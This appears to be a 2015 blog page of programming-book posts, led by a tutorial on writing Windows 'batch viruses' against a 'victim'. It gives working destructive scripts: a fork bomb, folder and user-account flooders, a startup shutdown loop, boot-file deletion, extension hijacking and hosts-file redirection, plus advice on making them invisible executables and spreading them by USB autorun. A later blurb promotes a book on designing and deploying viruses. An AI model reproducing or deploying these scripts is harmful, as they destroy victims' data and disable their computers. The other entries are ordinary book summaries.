Showing posts with label Programing Books. Show all posts
Showing posts with label Programing Books. Show all posts

Wednesday, September 16, 2015

What are Batch Files


What are Batch Files ?

Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1.md x  //makes directory 'x' on desktop
2.cd x  // changes current directory to 'x'
3.md y // makes a directory 'y' in directory 'x'     




We first make a folder/directory 'x', then enter in folder  'x',then make a folder 'y' in folder 'x' . 
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in  notepad and save file as anything.bat                         



       
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file 

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run. 

What can batch viruses do ?

They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.  Application Bomber

@echo off // It instructs to hide the commands when batch files is executed
:x   //loop variable
start winword 
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance. 

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder. 
goto x

Here %random% is a variable that would generate a positive no. randomly.  So this code would make start creating folders whose name can be any random number. 

3.User account flooder 
@echo off
:x
net user %random% /add //create user account
goto x

This code would start creating windows user accounts whose names could be any random numbers. 

3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”  
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”    //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00  //this will shutdown the computer in 0 seconds  

Note : Files in Start up folder gets started automatically when windows starts .  You should  first two lines of  code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 

4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 



 Lets make a batch file to 
delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr   // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr    //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again. 



5. Fork Bomb

%0|%0  //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

                     



6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything                          


Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
 Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.


7.  DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts  file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts   //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file. 

Replace xxx.xxx.xxx.xxx  and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

                                              Viruses we just coded




Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.
   
Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.
Download this Batch To Exe coverter from here

After running converter ,  open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.  

                     
You can  use other options as per your requirement. 

Spreading batch viruses through pen drive -:

Step 1. 
Open notepad and write 
[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Read more »

Reverse Engineering for Beginners Ebook


Reverse engineering is taking apart an object to see how it works in order to duplicate or enhance the object. The practice, taken from older industries, is now frequently used on computer hardware and software. Software reverse engineering involves reversing a program's machine code (the string of 0s and 1s that are sent to the logic processor) back into the source code that it was written in, using program language statements.

Abridged contents
  1. Code patterns
  2. Important fundamentals
  3. Slightly more advanced examples
  4. Java 621
  5. Finding important/interesting stuff in the code
  6. OS-specific
  7. Tools 
  8. More examples
  9. Examples of reversing proprietary file formats
  10. Other things
  11. Books/blogs worth reading
  12. Exercises 
  13. Afterword 
  14. Appendix 
  15. Acronyms used

Reverse Engineering for Beginners Ebook




SHARE BY GK
Computer Knowledge
Read more »

How Create a Batch File Programming


Introduction

Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS. Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating tedious tasks and for maintaining system logs. The commands used while creating a batch file are case insensitive, in the sense that it may accept both small and upper case letters.

Batch File Programming Ebook 



SHARE BY GK
computer knowledge
Read more »

Tuesday, September 15, 2015

Black Book Of Computer Virus

Introduction



This is the first in a series of three books about computer viruses. In these volumes I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of computer viruses in today’s world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them,and make them better. All three volumes are full of source code for viruses, including both new and well known varieties.

It is inevitable that these books will offend some people.

In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have a right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented.

Even a purely technical treatment of viruses which simply discussed how to write them and provided some examples would be offensive. The mere thought of a million well armed hackers out there is enough to drive some bureaucrats mad. These books go beyond a technical treatment, though, to defend the idea that viruses can be useful, interesting, and just plain fun. That is bound to prove even more offensive. Still, the truth is the truth, and it needs to be spoken, even if it is offensive. Morals and ethics cannot be determined by a majority vote, any more than they can be determined by the barrel of a gun or a loud mouth. Might does not make right.

Black Book Of Computer Virus Ebook.


SHARE BY GK
Computer Knowledge
Read more »

C++ programming Language


Table of contents

1. Introduction

2. Instructions for use

3. Basics of C++

4. Structure of a program

5. Variables. Data Types

6. Constants

7. Operators

8. Basic Input/Output

9. Control Structures

10. Control Structures

11. Functions (I)

12. Functions (II)

13. Compound data types

14. Arrays

15. Character Sequences

16. Pointers

17. Dynamic Memory

18. Data structures

19. Other Data Types

20. Object Oriented Programming

21. Classes (I)

22. Classes (II)

23. Friendship and inheritance

24. Polymorphism

25. Advanced concepts

26. Templates

27. Namespaces

28. Exceptions

29. Type Casting

30. Preprocessor directives C++ Standard Library

31. Input/Output with files


C++ programming Language Ebook.


BY GK
Read more »

ASP.NET Web Developer’s Guide Ebook Download

Since 1996, ASP programmers have faced one upgrade after another, often with no
extremely visible advantages until version 3.x—it’s been quite a wild ride. Now we
have the first significant improvement in ASP programming within our grasp—
ASP.NET.Our reliance on a watered-down version of Visual Basic has been alleviated
now that ASP.NET pages may be programmed in both Microsoft’s new and
more powerful version of Visual Basic or the latest version of C++: C#, which is
more Web friendly.ASP.NET allows programmers and developers to work with both
VB.NET and C# within the same ASP.NET page. .NET itself is a milestone for
Microsoft; it marks Microsoft’s entry into the “run once, run everywhere” compiler
market alongside Java and Ruby. .NET is also notable for its extreme flexibility;
unlike the other choices available, .NET allows the programmer to use any number
of .NET-compliant languages to create its code (however, as of this writing, only
VB.NET and C# are allowed for ASP.NET) and have it run anywhere through the
robust .NET Framework.Visual Basic and C++ have undergone changes as well;
Visual Basic was already somewhat Web-oriented through its sibling,Visual Basic
Script (VBS).
Since VBS was not visually orientated, like Visual Basic, this meant that a lot of
the prewritten code employed by Visual Basic did not create performance issues.This
did mean, however, that VBS was not graced with an IDE to debug or troubleshoot
with, making the server logs and the browser error messages a programmer’s only
hope of figuring out what went wrong and where.The lack of an IDE led to several
complications and eventually programmers had to create their own error-handling
system, usually consisting of a log file and e-mail notification.


ASP.NET Web Developer’s Guide Ebook  Here DOWNLOAD



SHARE BY GK
Computer Knowledge
Read more »

Teach Your Self Java Ebook In 21 Days


Overview

Introduction

Week 1 at a Glance

Day 1 An Introduction to Java Programming

2 Object-Oriented Programming and Java

3 Java Basics

4 Working with Objects

5 Arrays, Conditionals, and Loops

6 Creating Classes and Applications in Java

7 More About Methods

Week 2 at a Glance

Day 8 Java Applet Basics

9 Graphics, Fonts, and Color

10 Simple Animation and Threads

11 More Animation, Images, and Sound

12 Managing Simple Events and Interactivity

13 User Interfaces with the Java Abstract Windowing Toolkit

14 Windows, Networking, and Other Tidbits

Week 3 at a Glance

Day 15 Modifiers

16 Packages and Interfaces

17 Exceptions

18 Multithreading

19 Streams

20 Native Methods and Libraries

21 Under the Hood

Appendixes

A Language Summary

B The Java Class Library

C How Java Differs from C and C++

D How Java Differs from C and C++   


Teach Your Self Java Ebook In 21 Days Ebook


SHARE BY GK
computer knowledge
Read more »

SQL Commands

                     SQL Commands

    SELECT - extracts data from a database
    UPDATE - updates data in a database
    DELETE - deletes data from a database
    INSERT INTO - inserts new data into a database
    CREATE DATABASE - creates a new database
    ALTER DATABASE - modifies a database
    CREATE TABLE - creates a new table
    ALTER TABLE - modifies a table
    DROP TABLE - deletes a table
    CREATE INDEX - creates an index (search key)
    DROP INDEX - deletes an index

Read more »